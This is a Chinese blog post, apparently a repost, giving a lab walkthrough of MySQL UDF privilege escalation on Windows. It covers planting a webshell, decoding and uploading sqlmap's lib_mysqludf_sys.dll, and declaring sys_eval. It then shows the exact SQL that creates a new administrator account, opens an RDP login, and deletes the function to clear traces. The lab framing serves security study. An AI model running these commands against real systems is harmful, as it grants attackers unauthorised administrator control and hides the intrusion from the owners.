ICode9

精准搜索请尝试: 精确搜索
首页 > 数据库> 文章详细

mysql udf提权

2021-01-14 18:04:27  阅读:306  来源: 互联网

标签:sys 提权 udf eval mysql 目录


udf提权

 

原理:

udf全称为:user defined function,即用户定义函数。通过全称我们可以大致判断出该提权手段是通过mysql声明并使用我们所自定义的可以提权的函数(比如执行系统命令)来进行提权。udf的文件后缀为dll。

 

条件:
  • root权限(需要创建和删除自定义函数)

  • mysql < 5.1,udf.dll 文件在 win2003 下放置于 c:\windows\system32 目录,在 win2000下放置在 c:\winnt\system32 目录

  • mysql >= 5.1,udf.dll 文件放置在 mysql 安装目录的 lib\plugin 文件夹下(该目录默认是不存在的,需要使用 webshell 找到 mysql 的安装目录,并在安装目录下创建 lib\plugin 文件夹,然后将 udf.dll 文件导出到该目录)

 
实验环境:
  • 攻击机:win7

  • 靶机:win2003

 
复现流程:

在靶机写入一句话木马并用蚁剑连接

 

webshell.php内容:

 

通过蚁剑连接webshell

 

通过蚁剑的数据操作功能连接该网站的mysql数据库

 

连接数据库后我们需要先查看数据库的位数与版本,看看数据库是32位还是64位,数据库是>=5.1还是<5.1,以此来选择不同的dll文件与不同的路径放置dll文件。在这里我们使用show variables like '%version_%'查看数据库位数

可以看到当前数据库的位数是32位

 

再使用select version();查看数据库版本

可以看到数据库版本为5.5.53>5.1所以我们的udf文件应该放置到mysql目录下的lib/plugin目录中。其中plugin目录是不存在的,我们需要自己建立一个plugin的目录。

 

此时我们就需要找到提权所需的udf.dll文件。该文件可以在sqlmap中找到,这些udf文件存放在sqlmap的sqlmap\data\udf\mysql\windows目录,该目录下有32和64两个文件夹,分别对应不同mysql位数的dll文件,因为这里的mysql是32位,所以我们选择32位的udf文件来进行提权。使用udf提权前需要利用sqlmap自带的解码工具cloak.py,进入到 sqlmap\extra\cloak 目录下,执行命令:python2 cloak.py -d -i D:\Penetration\sqlmap\data\udf\mysql\windows\32\lib_mysqludf_sys.dll_

解码后会在sqlmap\data\udf\mysql\windows\32文件夹下生成 dll 文件。在 mysql 安装路径下的 lib 文件夹内创建 plugin 目录,上传 lib_mysqludf_sys.dll。

 

 

此时udf文件已经上传至mysql目录下的/lib/plugin目录,接下来我们就要声明该文件中所定义的函数并使用它了。在这里我们使用的是sys_eval()函数

首先使用create function sys_eval returns string soname "lib_mysqludf_sys.dll"来声明sys_eval()函数

 

可以看到已经导入成功,紧接着使用select * from mysql.func where name = 'sys_eval';查看是否导入成功或者重复导入

可以看到sys_eval已经导入成功,这时我们就可以使用sys_eval执行系统命令了。

 

首先我们使用select sys_eval('net user Yhck 123456 /add ');命令添加一个名为Yhck的用户

可以看到命令执行成功。

 

再执行select sys_eval('net localgroup administrators Yhck /add');命令将Yhck用户添加进管理员组进行提权

可以看到提权成功。

 

使用select sys_eval('netstat -ano | findstr 3389');命令查看3389端口是否开启

可以看到3389端口已经开启。

 

启用mstsc.exe连接靶机的3389端口,使用Yhck 123456进行登录

连接成功

 

连接成功后使用

  • drop function sys_eval;

  • delete from mysql.func where name='sys_eval';

这两条命令删除所创建的自定义函数,清除痕迹

 

参考:

https://www.cnblogs.com/wkzb/p/13174291.html

标签:sys,提权,udf,eval,mysql,目录
来源: https://www.cnblogs.com/Yhck/p/14278558.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有